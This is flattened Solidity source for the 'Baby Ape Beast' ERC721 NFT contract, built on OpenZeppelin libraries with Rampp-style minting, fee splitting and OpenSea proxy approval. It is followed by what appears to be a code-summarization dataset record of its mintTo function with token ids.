File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^ 0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a 'uint256' to its ASCII 'string' decimal representation. */ function toString(uint256 value) internal pure returns(string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a 'uint256' to its ASCII 'string' hexadecimal representation. */ function toHexString(uint256 value) internal pure returns(string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a 'uint256' to its ASCII 'string' hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns(string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^ 0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns(address) { return msg.sender; } function _msgData() internal view virtual returns(bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^ 0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * 'onlyOwner', which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * 'onlyOwner' functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account ('newOwner'). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^ 0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if 'account' is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, 'isContract' will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns(bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size:= extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's 'transfer': sends 'amount' wei to * 'recipient', forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by 'transfer', making them unable to receive funds via * 'transfer'. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to 'recipient', care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount } (""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level 'call'. A * plain 'call' is an unsafe replacement for a function call: use this * function instead. * * If 'target' reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions['abi.decode']. * * Requirements: * * - 'target' must be a contract. * - calling 'target' with 'data' must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns(bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}['functionCall'], but with * 'errorMessage' as a fallback revert reason when 'target' reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns(bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}['functionCall'], * but also transferring 'value' wei to 'target'. * * Requirements: * * - the calling contract must have an ETH balance of at least 'value'. * - the called Solidity function must be 'payable'. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns(bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}['functionCallWithValue'], but * with 'errorMessage' as a fallback revert reason when 'target' reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns(bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value } (data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}['functionCall'], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns(bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}['functionCall'], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns(bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}['functionCall'], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns(bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}['functionCall'], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns(bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size:= mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^ 0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} 'tokenId' token is transferred to this contract via {IERC721-safeTransferFrom} * by 'operator' from 'from', this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with 'IERC721.onERC721Received.selector'. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns(bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^ 0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * 'interfaceId'. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns(bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^ 0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * '''solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns(bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ''' * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns(bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^ 0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when 'tokenId' token is transferred from 'from' to 'to'. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when 'owner' enables 'approved' to manage the 'tokenId' token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when 'owner' enables or disables ('approved') 'operator' to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ''owner'''s account. */ function balanceOf(address owner) external view returns(uint256 balance); /** * @dev Returns the owner of the 'tokenId' token. * * Requirements: * * - 'tokenId' must exist. */ function ownerOf(uint256 tokenId) external view returns(address owner); /** * @dev Safely transfers 'tokenId' token from 'from' to 'to', checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - 'from' cannot be the zero address. * - 'to' cannot be the zero address. * - 'tokenId' token must exist and be owned by 'from'. * - If the caller is not 'from', it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If 'to' refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers 'tokenId' token from 'from' to 'to'. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - 'from' cannot be the zero address. * - 'to' cannot be the zero address. * - 'tokenId' token must be owned by 'from'. * - If the caller is not 'from', it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to 'to' to transfer 'tokenId' token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - 'tokenId' must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for 'tokenId' token. * * Requirements: * * - 'tokenId' must exist. */ function getApproved(uint256 tokenId) external view returns(address operator); /** * @dev Approve or remove 'operator' as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The 'operator' cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the 'operator' is allowed to manage all of the assets of 'owner'. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns(bool); /** * @dev Safely transfers 'tokenId' token from 'from' to 'to'. * * Requirements: * * - 'from' cannot be the zero address. * - 'to' cannot be the zero address. * - 'tokenId' token must exist and be owned by 'from'. * - If the caller is not 'from', it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If 'to' refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^ 0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns(string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns(string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for 'tokenId' token. */ function tokenURI(uint256 tokenId) external view returns(string memory); } // File: @openzeppelin/contracts/utils/Counters.sol pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^ 0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a 'name' and a 'symbol' to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns(bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns(uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns(address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns(string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns(string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns(string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the 'baseURI' and the 'tokenId'. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns(string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns(address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns(bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers 'tokenId' token from 'from' to 'to', checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * '_data' is additional data, it has no specified format and it is sent in call to 'to'. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - 'from' cannot be the zero address. * - 'to' cannot be the zero address. * - 'tokenId' token must exist and be owned by 'from'. * - If 'to' refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether 'tokenId' exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted ('_mint'), * and stop existing when they are burned ('_burn'). */ function _exists(uint256 tokenId) internal view virtual returns(bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether 'spender' is allowed to manage 'tokenId'. * * Requirements: * * - 'tokenId' must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns(bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints 'tokenId' and transfers it to 'to'. * * Requirements: * * - 'tokenId' must not exist. * - If 'to' refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}['_safeMint'], with an additional 'data' parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints 'tokenId' and transfers it to 'to'. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - 'tokenId' must not exist. * - 'to' cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys 'tokenId'. * The approval is cleared when the token is burned. * * Requirements: * * - 'tokenId' must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers 'tokenId' from 'from' to 'to'. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - 'to' cannot be the zero address. * - 'tokenId' token must be owned by 'from'. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve 'to' to operate on 'tokenId' * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns(bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns(bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When 'from' and 'to' are both non-zero, ''from'''s 'tokenId' will be * transferred to 'to'. * - When 'from' is zero, 'tokenId' will be minted for 'to'. * - When 'to' is zero, ''from'''s 'tokenId' will be burned. * - 'from' and 'to' are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual { } } // File: contracts/ERC721Tradable.sol pragma solidity ^0.8.0; contract OwnableDelegateProxy {} contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } /** * @title ERC721Tradable * ERC721Tradable - ERC721 contract that whitelists a trading address, and has minting functionality. */ abstract contract ERC721Tradable is ContextMixin, ERC721, NativeMetaTransaction, Ownable { using SafeMath for uint256; using Counters for Counters.Counter; Counters.Counter private _tokenSupply; address proxyRegistryAddress; address public RAMPPADDRESS = 0xa9dAC8f3aEDC55D0FE707B86B8A45d246858d2E1; bool public mintingOpen = true; uint256 public SUPPLYCAP = 10000; uint256 public PRICE = 0.01 ether; uint256 public MAX_MINT_PER_TX = 20; address[] public payableAddresses = [RAMPPADDRESS]; uint256[] public payableFees = [5]; uint256 public payableAddressCount = 2; bool public isRevealed = false; string private IPFSTokenURI = "ipfs://QmNaUNRp7XjKS2kVzF5S3PTgruedStWzwVCkhwYkGYU5ms/"; constructor( string memory _name, string memory _symbol, address _proxyRegistryAddress ) ERC721(_name, _symbol) { proxyRegistryAddress = _proxyRegistryAddress; // Establish user-defined payableAddresses and amounts payableAddresses.push(0xFf7E98664fFE33401Bc85E71DecCE1cFBEe561eD); payableFees.push(uint256(95)); _initializeEIP712(_name); } modifier isRampp() { require(msg.sender == RAMPPADDRESS, "Ownable: caller is not RAMPP"); _; } /** * @dev Mints a token to an address with a tokenURI. * This is owner only and allows a fee-free drop * @param _to address of the future owner of the token */ function mintToAdmin(address _to) public onlyOwner { require(_getNextTokenId() <= SUPPLYCAP, "Cannot mint over supply cap of 10000"); uint256 newTokenId = _getNextTokenId(); _mint(_to, newTokenId); _incrementTokenId(); } function mintToBulkAdmin(address[] memory addresses, uint256 addressCount) public onlyOwner { for(uint i=0; i < addressCount; i++ ) { mintToAdmin(addresses[i]); } } /** * @dev Mints a token to an address with a tokenURI. * fee may or may not be required* * @param _to address of the future owner of the token */ function mintTo(address _to) public payable { require(_getNextTokenId() <= SUPPLYCAP, "Cannot mint over supply cap of 10000"); require(mintingOpen == true, "Minting is not open right now!"); require(msg.value == PRICE, "Value needs to be exactly the mint fee!"); uint256 newTokenId = _getNextTokenId(); _mint(_to, newTokenId); _incrementTokenId(); } /** * @dev Mints a token to an address with a tokenURI. * fee may or may not be required* * @param _to address of the future owner of the token * @param _amount number of tokens to mint */ function mintToMultiple(address _to, uint256 _amount) public payable { require(_amount >= 1, "Must mint at least 1 token"); require(_amount <= MAX_MINT_PER_TX, "Cannot mint more than max mint per transaction"); require(mintingOpen == true, "Minting is not open right now!"); require(currentTokenId() + _amount <= SUPPLYCAP, "Cannot mint over supply cap of 10000"); require(msg.value == getPrice(_amount), "Value below required mint fee for amount"); for(uint8 i = 0; i < _amount; i++){ uint256 newTokenId = _getNextTokenId(); _mint(_to, newTokenId); _incrementTokenId(); } } function openMinting() public onlyOwner { mintingOpen = true; } function stopMinting() public onlyOwner { mintingOpen = false; } function setPrice(uint256 _feeInWei) public onlyOwner { PRICE = _feeInWei; } function getPrice(uint256 _count) private view returns (uint256) { return PRICE.mul(_count); } /** * @dev Allows owner to set Max mints per tx * @param _newMaxMint maximum amount of tokens allowed to mint per tx. Must be >= 1 */ function setMaxMint(uint256 _newMaxMint) public onlyOwner { require(_newMaxMint >= 1, "Max mint must be at least 1"); MAX_MINT_PER_TX = _newMaxMint; } function withdrawAll() public onlyOwner { require(address(this).balance > 0); _withdrawAll(); } function withdrawAllRampp() public isRampp { require(address(this).balance > 0); _withdrawAll(); } function _withdrawAll() private { uint256 balance = address(this).balance; for(uint i=0; i < payableAddressCount; i++ ) { _widthdraw( payableAddresses[i], (balance * payableFees[i]) / 100 ); } } function _widthdraw(address _address, uint256 _amount) private { (bool success, ) = _address.call{value: _amount}(""); require(success, "Transfer failed."); } /** * @dev calculates the current token ID based on Counter _tokenSupply * @return uint256 for the current token ID */ function currentTokenId() public view returns (uint256) { return _tokenSupply.current(); } /** * @dev calculates the next token ID based on value of Counter _tokenSupply * @return uint256 for the next token ID */ function _getNextTokenId() private view returns (uint256) { return _tokenSupply.current() + 1; } /** * @dev increments the value of Counter _tokenSupply */ function _incrementTokenId() private { _tokenSupply.increment(); } function baseTokenURI() public view virtual returns (string memory) { return IPFSTokenURI; } function tokenURI(uint256 _tokenId) public view override returns (string memory) { return string( abi.encodePacked(baseTokenURI(), Strings.toString(_tokenId)) ); } /** * Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings. */ function isApprovedForAll(address owner, address operator) public view override returns (bool) { // Whitelist OpenSea proxy contract for easy trading. ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress); if (address(proxyRegistry.proxies(owner)) == operator) { return true; } return super.isApprovedForAll(owner, operator); } /** * This is used instead of msg.sender as transactions won't be sent by the original token owner, but by OpenSea. */ function _msgSender() internal view override returns (address sender) { return ContextMixin.msgSender(); } function unveil(string memory _updatedTokenURI) public onlyOwner { require(isRevealed == false, "Tokens are already unveiled"); IPFSTokenURI = _updatedTokenURI; isRevealed = true; } /** * @dev returns the currently minted supply of tokens * @return uint256 for the current token ID */ function totalSupply() public view returns(uint256) { return currentTokenId(); } } // File: contracts/babyApeBeastContract.sol //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract BabyApeBeastContract is ERC721Tradable { constructor(address _proxyRegistryAddress) ERC721Tradable("Baby Ape Beast ", "BABNFT", _proxyRegistryAddress) {} function contractURI() public pure returns (string memory) { return "https://us-central1-nft-rampp.cloudfunctions.net/app/IvYr3XSn4yVyDXPg3TzO/contract-metadata"; } }
* @dev Mints a token to an address with a tokenURI. fee may or may not be required @param _to address of the future owner of the token/
function mintTo(address _to) public payable { require(_getNextTokenId() <= SUPPLYCAP, "Cannot mint over supply cap of 10000"); require(mintingOpen == true, "Minting is not open right now!"); require(msg.value == PRICE, "Value needs to be exactly the mint fee!"); uint256 newTokenId = _getNextTokenId(); _mint(_to, newTokenId); _incrementTokenId(); }
11,729,902
[ 1, 49, 28142, 279, 1147, 358, 392, 1758, 598, 279, 1147, 3098, 18, 14036, 2026, 578, 2026, 486, 506, 1931, 225, 389, 869, 1758, 434, 326, 3563, 3410, 434, 326, 1147, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
